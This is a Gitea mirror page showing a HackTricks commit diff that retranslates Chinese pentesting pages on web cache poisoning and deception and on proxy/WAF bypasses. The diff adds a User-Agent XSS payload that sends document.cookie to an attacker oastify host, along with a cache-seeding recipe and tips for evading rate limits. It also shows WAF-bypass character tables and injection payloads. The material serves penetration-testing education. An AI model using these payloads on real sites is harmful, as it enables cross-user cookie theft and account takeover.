maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/proxy-waf-protections-bypass.md', 'src/p

Browse Source
This commit is contained in:
Translator 2025-08-21 06:07:38 +00:00
parent b5e3e23d69
commit 3948232288
2 changed files with 147 additions and 91 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

132
src/pentesting-web/cache-deception/README.md
View File

@ -4,28 +4,28 @@
## The difference
> **web cache poisoning 和 web cache deception 之间有什么区别？**
> **Web缓存中毒和Web缓存欺骗之间有什么区别？**
>
> - 在 **web cache poisoning** 中，攻击者使应用程序在缓存中存储一些恶意内容，并且这些内容会从缓存中提供给其他应用程序用户。
> - 在 **web cache deception** 中，攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容，然后攻击者从缓存中检索这些内容。
> - 在**Web缓存中毒**中，攻击者使应用程序在缓存中存储一些恶意内容，并且这些内容从缓存中提供给其他应用程序用户。
> - 在**Web缓存欺骗**中，攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容，然后攻击者从缓存中检索这些内容。
## Cache Poisoning
Cache poisoning 旨在操纵客户端缓存，以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度，因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
缓存中毒旨在操纵客户端缓存，强迫客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度，因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
执行 cache poisoning 攻击涉及几个步骤：
执行缓存中毒攻击涉及几个步骤：
1. **识别未键入的输入**：这些是参数，尽管不是请求缓存所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
2. **利用未键入的输入**：在识别未键入的输入后，下一步是弄清楚如何滥用这些参数，以修改服务器的响应，从而使攻击者受益。
1. **识别无键输入**：这些是参数，尽管不是请求缓存所必需的，但可以改变服务器返回的响应。识别这些输入至关重要，因为它们可以被利用来操纵缓存。
2. **利用无键输入**：在识别无键输入后，下一步是弄清楚如何滥用这些参数，以修改服务器的响应，从而使攻击者受益。
3. **确保被污染的响应被缓存**：最后一步是确保被操纵的响应被存储在缓存中。这样，任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
### Discovery: Check HTTP headers
通常，当响应被 **存储在缓存中** 时，会有一个 **指示的头部**，您可以在此帖子中检查您应该关注哪些头部：[**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
通常，当响应被**存储在缓存中**时，会有一个**指示的头部**，您可以在此帖子中检查应该关注哪些头部：[**HTTP缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
### Discovery: Caching error codes
如果您认为响应正在被存储在缓存中，您可以尝试 **发送带有错误头部的请求**，这应该会以 **状态码 400** 响应。然后尝试正常访问请求，如果 **响应是 400 状态码**，您就知道它是脆弱的（您甚至可以执行 DoS）。
如果您认为响应正在被存储在缓存中，您可以尝试**发送带有错误头部的请求**，这应该会以**状态码400**响应。然后尝试正常访问请求，如果**响应是400状态码**，您就知道它是脆弱的（您甚至可以执行DoS）。
您可以在以下位置找到更多选项：
@ -33,30 +33,30 @@ Cache poisoning 旨在操纵客户端缓存，以强制客户端加载意外、
cache-poisoning-to-dos.md
{{#endref}}
但是，请注意 **有时这些状态码不会被缓存**，因此此测试可能不可靠。
但是，请注意，**有时这些状态码不会被缓存**，因此此测试可能不可靠。
### Discovery: Identify and evaluate unkeyed inputs
您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解可能会改变页面响应的参数和头部**。例如，一个页面可能使用头部 `X-Forwarded-For` 来指示客户端从那里加载脚本：
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头部**。例如，一个页面可能使用头部`X-Forwarded-For`来指示客户端从那里加载脚本：
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 从后端服务器引发有害响应
通过识别的参数/头部检查它是如何被**清理**的，以及**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗（执行XSS或加载你控制的JS代码？执行DoS？...）
在识别出参数/头部后，检查它是如何被**清理**的，以及它**在哪里**被**反映**或影响响应。你能以任何方式滥用它吗（执行XSS或加载你控制的JS代码？执行DoS？...）
### 获取缓存的响应
一旦你**识别**了可以被滥用的**页面**，使用哪个**参数**/**头部**以及**如何**滥用它，你需要让页面被缓存。根据你尝试缓存的资源，这可能需要一些时间，你可能需要尝试几秒钟。
一旦你**识别**出可以被滥用的**页面**，使用哪个**参数**/**头部**以及**如何**滥用它，你需要让页面被缓存。根据你尝试缓存的资源，这可能需要一些时间，你可能需要尝试几秒钟。
响应中的头部**`X-Cache`**可能非常有用，因为当请求未被缓存时，它的值可能是**`miss`**，而当被缓存时，它的值是**`hit`**。\
头部**`Cache-Control`**也很有趣，可以知道资源是否被缓存，以及下次资源将何时再次被缓存：`Cache-Control: public, max-age=1800`
另一个有趣的头部是**`Vary`**。这个头部通常用于**指示额外的头部**，这些头部被视为**缓存键的一部分**，即使它们通常没有键。因此，如果用户知道他所针对的受害者的`User-Agent`，他可以为使用该特定`User-Agent`的用户毒化缓存。
与缓存相关的另一个头部是**`Age`**。它定义了对象在代理缓存中存在的时间（以秒为单位）。
另一个与缓存相关的头部是**`Age`**。它定义了对象在代理缓存中存在的时间（以秒为单位）。
在缓存请求时，要**小心使用的头部**，因为其中一些可能会被**意外使用**为**键**，而**受害者需要使用相同的头部**。始终使用**不同的浏览器测试**缓存中毒是否有效。
在缓存请求时，要**小心使用的头部**，因为其中一些可能会被**意外使用**为**键**，而**受害者需要使用相同的头部**。始终使用**不同的浏览器**测试缓存中毒，以检查其是否有效。
## 利用示例
@ -95,7 +95,7 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
注意，如果易受攻击的 cookie 被用户频繁使用，常规请求将清除缓存。
### 生成带有分隔符、规范化和点的差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### 使用分隔符、规范化和点生成差异 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
检查：
@ -115,16 +115,16 @@ cache-poisoning-via-url-discrepancies.md
### 使用多个头部来利用 web 缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
有时您需要 **利用多个无键输入** 来滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制页面重定向的指向。
有时您需要 **利用多个无键输入** 来滥用缓存。例如，如果您将 `X-Forwarded-Host` 设置为您控制的域名，并将 `X-Forwarded-Scheme` 设置为 `http`，您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### 利用有限的 `Vary`头
### 利用有限的 `Vary` 头
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**，但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么，你需要找到一种方法来提取受害者的 User-Agent 并使用该用户代理来污染缓存：
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**，但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么，你需要找到一种方法来提取受害者的 User-Agent，并使用该用户代理来污染缓存：
```html
GET / HTTP/1.1
Host: vulnerbale.net
@ -133,7 +133,7 @@ X-Host: attacker.com
```
### Fat Get
发送一个GET请求，URL和请求体中都包含请求。如果web服务器使用请求体中的内容，但缓存服务器缓存的是URL中的内容，那么任何访问该URL的人实际上将使用请求体中的参数。就像James Kettle在Github网站上发现的漏洞：
发送一个带有请求的 GET 请求，URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容，但缓存服务器缓存了 URL 中的内容，那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞：
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -142,57 +142,93 @@ Content-Length: 22
report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
有一个关于此的portswigger实验室：[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### 参数伪装
例如，在 ruby 服务器中，可以使用字符 **`;`** 而不是 **`&`** 来分隔 **参数**。这可以用来将无键参数值放入有键参数中并加以利用。
例如，在ruby服务器中，可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并加以利用。
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger实验室：[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### 通过滥用 HTTP 请求走私来利用 HTTP 缓存中毒
### 通过滥用HTTP请求走私来利用HTTP缓存中毒
在这里了解如何通过滥用 [HTTP 请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
在这里了解如何通过滥用[HTTP请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
### Web 缓存中毒的自动化测试
### Web缓存中毒的自动化测试
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) 可用于自动测试 Web 缓存中毒。它支持多种不同的技术，并且高度可定制。
[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)可以用于自动测试Web缓存中毒。它支持多种不同的技术，并且高度可定制。
示例用法： `wcvs -u example.com`
示例用法：`wcvs -u example.com`
### Header-reflection XSS + CDN/WAF辅助缓存播种（User-Agent，自动缓存的.js）
这种现实世界模式将基于头部的反射原语与CDN/WAF行为链在一起，以可靠地毒化提供给其他用户的缓存HTML：
- 主要HTML反射了一个不受信任的请求头（例如，`User-Agent`）到可执行上下文中。
- CDN剥离了缓存头，但存在内部/源缓存。CDN还自动缓存以静态扩展名（例如，`.js`）结尾的请求，而WAF对静态资产的GET请求应用了较弱的内容检查。
- 请求流的奇特性允许对`.js`路径的请求影响后续主要HTML使用的缓存键/变体，从而通过头部反射实现跨用户XSS。
实用配方（在一个流行的CDN/WAF中观察到）：
1) 从一个干净的IP（避免之前基于声誉的降级），通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`。
2) 在Burp Repeater中，准备一组两个请求并使用“并行发送组”（单包模式效果最佳）：
- 第一个请求：GET同一来源上的`.js`资源路径，同时发送你的恶意`User-Agent`。
- 紧接着：GET主页面（`/`）。
3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体，然后提供给共享相同缓存键条件的其他访客（例如，具有相同`Vary`维度如`User-Agent`）。
示例头部有效负载（用于提取非HttpOnly cookies）：
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
操作提示：
- 许多CDN隐藏缓存头；中毒可能仅在多小时刷新周期中出现。使用多个视角IP并限制速率以避免触发速率限制或声誉。
- 有时使用CDN自身云中的IP可以改善路由一致性。
- 如果存在严格的CSP，只要反射在主HTML上下文中执行，并且CSP允许内联执行或被上下文绕过，这仍然有效。
影响：
- 如果会话cookie不是`HttpOnly`，则通过大规模提取所有用户的`document.cookie`，可能实现零点击的ATO。
防御：
- 停止将请求头反射到HTML中；如果不可避免，严格上下文编码。对齐CDN和源缓存策略，避免在不受信任的头上变化。
- 确保WAF对`.js`请求和静态路径一致地应用内容检查。
- 在会话cookie上设置`HttpOnly`（以及`Secure`，`SameSite`）。
## 漏洞示例
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS 在不去除 URL 中片段的情况下转发了该片段，并仅使用主机、路径和查询生成缓存键（忽略片段）。因此，请求 `/#/../?r=javascript:alert(1)` 被发送到后端为 `/#/../?r=javascript:alert(1)`，而缓存键中没有负载，仅有主机、路径和查询。
ATS在URL中转发片段而不去除它，并仅使用主机、路径和查询生成缓存键（忽略片段）。因此，请求`/#/../?r=javascript:alert(1)`被发送到后端为`/#/../?r=javascript:alert(1)`，而缓存键中没有有效负载，仅有主机、路径和查询。
### GitHub CP-DoS
在 content-type 头中发送错误值触发了 405 缓存响应。缓存键包含 cookie，因此只能攻击未授权用户。
在content-type头中发送错误值触发了405缓存响应。缓存键包含cookie，因此只能攻击未认证用户。
### GitLab + GCP CP-DoS
GitLab 使用 GCP 存储桶来存储静态内容。**GCP 存储桶** 支持 **头部 `x-http-method-override`**。因此，可以发送头部 `x-http-method-override: HEAD` 并使缓存中毒以返回空响应体。它还可以支持 `PURGE` 方法。
GitLab使用GCP桶存储静态内容。**GCP桶**支持**头`x-http-method-override`**。因此，可以发送头`x-http-method-override: HEAD`并使缓存返回空响应体。它还可以支持`PURGE`方法。
### Rack 中间件 (Ruby on Rails)
### Rack Middleware (Ruby on Rails)
在 Ruby on Rails 应用程序中，通常使用 Rack 中间件。Rack 代码的目的是获取 **`x-forwarded-scheme`** 头的值并将其设置为请求的方案。当发送头 `x-forwarded-scheme: http` 时，会发生 301 重定向到相同位置，可能导致该资源的拒绝服务 (DoS)。此外，应用程序可能会识别 `X-forwarded-host` 头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载 JavaScript 文件，从而带来安全风险。
在Ruby on Rails应用程序中，通常使用Rack中间件。Rack代码的目的是获取**`x-forwarded-scheme`**头的值并将其设置为请求的方案。当发送头`x-forwarded-scheme: http`时，会发生301重定向到相同位置，可能导致该资源的拒绝服务（DoS）。此外，应用程序可能会识别`X-forwarded-host`头并将用户重定向到指定主机。这种行为可能导致从攻击者的服务器加载JavaScript文件，构成安全风险。
### 403 和存储桶
### 403和存储桶
Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3 或 Azure 存储 Blob 会导致 403 响应被缓存。尽管 Cloudflare 已停止缓存 403 响应，但这种行为可能仍然存在于其他代理服务中。
Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Azure存储Blob将导致403响应被缓存。尽管Cloudflare已停止缓存403响应，但这种行为可能仍存在于其他代理服务中。
### 注入键参数
缓存通常在缓存键中包含特定的 GET 参数。例如，Fastly 的 Varnish 在请求中缓存了 `size` 参数。然而，如果还发送了 URL 编码版本的参数（例如，`siz%65`）并带有错误值，则缓存键将使用正确的 `size` 参数构建。然而，后端将处理 URL 编码参数中的值。对第二个 `size` 参数进行 URL 编码导致缓存省略了它，但后端使用了它。将该参数的值设置为 0 会导致可缓存的 400 错误请求。
缓存通常在缓存键中包含特定的GET参数。例如，Fastly的Varnish在请求中缓存`size`参数。然而，如果发送了参数的URL编码版本（例如，`siz%65`）并且值错误，缓存键将使用正确的`size`参数构建。然而，后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致其被缓存省略，但被后端使用。将该参数的值设置为0导致可缓存的400错误请求。
### 用户代理规则
一些开发人员阻止与高流量工具（如 FFUF 或 Nuclei）匹配的用户代理的请求，以管理服务器负载。讽刺的是，这种方法可能引入诸如缓存中毒和 DoS 等漏洞。
一些开发人员阻止与高流量工具（如FFUF或Nuclei）匹配的用户代理的请求，以管理服务器负载。讽刺的是，这种方法可能引入漏洞，如缓存中毒和DoS。
### 非法头字段
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头名称中可接受的字符。包含超出指定 **tchar** 范围的字符的头理想情况下应触发 400 错误请求响应。在实践中，服务器并不总是遵循此标准。一个显著的例子是 Akamai，它转发包含无效字符的头，并缓存任何 400 错误，只要 `cache-control` 头不存在。发现了一种可利用的模式，发送包含非法字符（如 `\`）的头会导致可缓存的 400 错误请求。
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)规定了头名称中可接受的字符。包含超出指定**tchar**范围的字符的头理想情况下应触发400错误请求响应。在实践中，服务器并不总是遵循此标准。一个显著的例子是Akamai，它转发包含无效字符的头，并缓存任何400错误，只要`cache-control`头不存在。发现了一种可利用的模式，发送包含非法字符（如`\`）的头将导致可缓存的400错误请求。
### 查找新头
@ -200,9 +236,9 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
## 缓存欺骗
缓存欺骗的目标是使客户端 **加载将被缓存保存的敏感信息的资源**。
缓存欺骗的目标是使客户端**加载将被缓存保存的资源及其敏感信息**。
首先要注意的是，**扩展名**如 `.css`、`.js`、`.png` 等通常被 **配置** 为 **保存** 在 **缓存** 中。因此，如果您访问 `www.example.com/profile.php/nonexistent.js`，缓存可能会存储响应，因为它看到了 `.js` **扩展名**。但是，如果 **应用程序** 正在 **重放** 存储在 _www.example.com/profile.php_ 中的 **敏感** 用户内容，您可以 **窃取** 其他用户的这些内容。
首先请注意，**扩展名**如`.css`、`.js`、`.png`等通常被**配置**为**保存**在**缓存**中。因此，如果您访问`www.example.com/profile.php/nonexistent.js`，缓存可能会存储响应，因为它看到`.js`**扩展名**。但是，如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容，您可以**窃取**其他用户的这些内容。
其他测试内容：
@ -214,18 +250,18 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
- _使用不太常见的扩展名，如_ `.avif`
另一个非常清晰的例子可以在这篇文章中找到：[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
在这个例子中，解释了如果您加载一个不存在的页面，如 _http://www.example.com/home.php/non-existent.css_，将返回 _http://www.example.com/home.php_ (**包含用户的敏感信息**)，并且缓存服务器将保存结果。\
然后，**攻击者** 可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的 **机密信息**。
在这个例子中，解释了如果您加载一个不存在的页面，如_http://www.example.com/home.php/non-existent.css_，将返回_http://www.example.com/home.php_（**包含用户的敏感信息**）的内容，并且缓存服务器将保存结果。\
然后，**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问的用户的**机密信息**。
请注意，**缓存代理** 应该 **配置** 为 **根据** 文件的 **扩展名** (_.css_) **缓存** 文件，而不是根据内容类型。在示例 _http://www.example.com/home.php/non-existent.css_ 中，将具有 `text/html` 内容类型，而不是 `text/css` MIME 类型（这是 _.css_ 文件的预期类型）。
请注意，**缓存代理**应被**配置**为根据文件的**扩展名**（_.css_）而不是根据内容类型来**缓存**文件。在示例_http://www.example.com/home.php/non-existent.css_中，将具有`text/html`内容类型，而不是`text/css` MIME类型（这是_.css_文件的预期类型）。
在这里了解如何执行 [利用 HTTP 请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
在这里了解如何执行[利用HTTP请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
## 自动化工具
## 自动工具
- [**toxicache**](https://github.com/xhzeem/toxicache)：Golang 扫描器，用于在 URL 列表中查找 Web 缓存中毒漏洞并测试多种注入技术。
- [**toxicache**](https://github.com/xhzeem/toxicache)：Golang扫描器，用于在URL列表中查找Web缓存中毒漏洞并测试多种注入技术。
## 参考文献
## 参考
- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -233,6 +269,8 @@ Cloudflare 之前缓存了 403 响应。尝试使用错误的授权头访问 S3
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [我如何在公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
{{#include ../../banners/hacktricks-training.md}}

106
src/pentesting-web/proxy-waf-protections-bypass.md
View File

@ -1,9 +1,9 @@
# 代理 / WAF 保护绕过
# Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
## 通过路径名操作绕过 Nginx ACL 规则 <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
技术 [来自这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
@ -17,37 +17,37 @@ location = /admin/ {
deny all;
}
```
为了防止绕过，Nginx 在检查路径之前执行路径规范化。然而，如果后端服务器执行不同的规范化（移除 Nginx 不移除的字符），可能会绕过此防御。
为了防止绕过，Nginx 在检查路径之前执行路径规范化。然而，如果后端服务器执行不同的规范化（移除 Nginx 不移除的字符），则可能绕过此防御。
### **NodeJS - Express**
| Nginx 版本 | **Node.js 绕过字符** |
| --------- | --------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
| ---------- | --------------------- |
| 1.22.0 | `\xA0` |
| 1.21.6 | `\xA0` |
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
### **Flask**
| Nginx 版本 | **Flask 绕过字符** |
| --------- | ------------------------------------------------------ |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| ---------- | -------------------------------------------------------- |
| 1.22.0 | `\x85`, `\xA0` |
| 1.21.6 | `\x85`, `\xA0` |
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
### **Spring Boot**
| Nginx 版本 | **Spring Boot 绕过字符** |
| --------- | ------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
| ---------- | -------------------------- |
| 1.22.0 | `;` |
| 1.21.6 | `;` |
| 1.20.2 | `\x09`, `;` |
| 1.18.0 | `\x09`, `;` |
| 1.16.1 | `\x09`, `;` |
### **PHP-FPM**
@ -74,7 +74,7 @@ deny all;
### 路径混淆
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3（直到 3.0.12）**错误地实现了 `REQUEST_FILENAME`** 变量，该变量本应包含访问的路径（直到参数开始）。这是因为它执行了 URL 解码以获取路径。\
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3（直到 3.0.12）**不正确地实现了 `REQUEST_FILENAME`** 变量，该变量应该包含访问的路径（直到参数开始）。这是因为它执行了 URL 解码以获取路径。\
因此，像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径只是 `/foo`，因为 `%3f` 被转换为 `?`，结束了 URL 路径，但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`。
变量 `REQUEST_BASENAME` 和 `PATH_INFO` 也受到此错误的影响。
@ -85,7 +85,7 @@ deny all;
### 格式错误的头部
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则，该头部未被 AWS 正确解析，但被后端服务器解析。
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个未被 AWS 正确解析但被后端服务器解析的“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则。
例如，发送以下请求，在头部 X-Query 中包含 SQL 注入：
```http
@ -96,34 +96,51 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
可以绕过 AWS WAF，因为它无法理解下一行是头部值的一部分，而 NODEJS 服务器可以（这个问题已被修复）。
可以绕过AWS WAF，因为它无法理解下一行是头部值的一部分，而NODEJS服务器可以（这个问题已修复）。
## 通用 WAF 绕过
## 通用WAF绕过
### 请求大小限制
通常，WAF 对请求的长度有一定的限制，如果 POST/PUT/PATCH 请求超过该限制，WAF 将不会检查该请求。
通常，WAF对请求的长度有一定的限制，如果POST/PUT/PATCH请求超过该限制，WAF将不会检查该请求。
- 对于 AWS WAF，您可以 [**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
- 对于AWS WAF，您可以[**查看文档**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>可以检查的应用负载均衡器和 AWS AppSync 保护的 web 请求体的最大大小</td><td>8 KB</td></tr><tr><td>可以检查的 CloudFront、API Gateway、Amazon Cognito、App Runner 和 Verified Access 保护的 web 请求体的最大大小**</td><td>64 KB</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>可以检查的应用负载均衡器和AWS AppSync保护的最大Web请求体大小</td><td>8 KB</td></tr><tr><td>可以检查的CloudFront、API Gateway、Amazon Cognito、App Runner和Verified Access保护的最大Web请求体大小**</td><td>64 KB</td></tr></tbody></table>
- 来自 [**Azure 文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
- 来自[**Azure文档**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
较旧的 Web 应用防火墙使用核心规则集 3.1（或更低版本）允许大于 **128 KB** 的消息，通过关闭请求体检查，但这些消息不会被检查漏洞。对于较新版本（核心规则集 3.2 或更高版本），可以通过禁用最大请求体限制来实现。当请求超过大小限制时：
较旧的Web应用防火墙使用核心规则集3.1（或更低版本）允许大于**128 KB**的消息，通过关闭请求体检查，但这些消息不会被检查漏洞。对于较新版本（核心规则集3.2或更高版本），可以通过禁用最大请求体限制来实现。当请求超过大小限制时：
如果是 **预防模式**：记录并阻止请求。\
如果是 **检测模式**：检查到限制，忽略其余部分，并在 `Content-Length` 超过限制时记录。
如果是**预防模式**：记录并阻止请求。\
如果是**检测模式**：检查到限制，忽略其余部分，并记录如果`Content-Length`超过限制。
- 来自 [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
- 来自[**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
默认情况下，WAF 仅检查请求的前 8KB。通过添加高级元数据，可以将限制提高到 128KB。
默认情况下，WAF仅检查请求的前8KB。通过添加高级元数据，可以将限制提高到128KB。
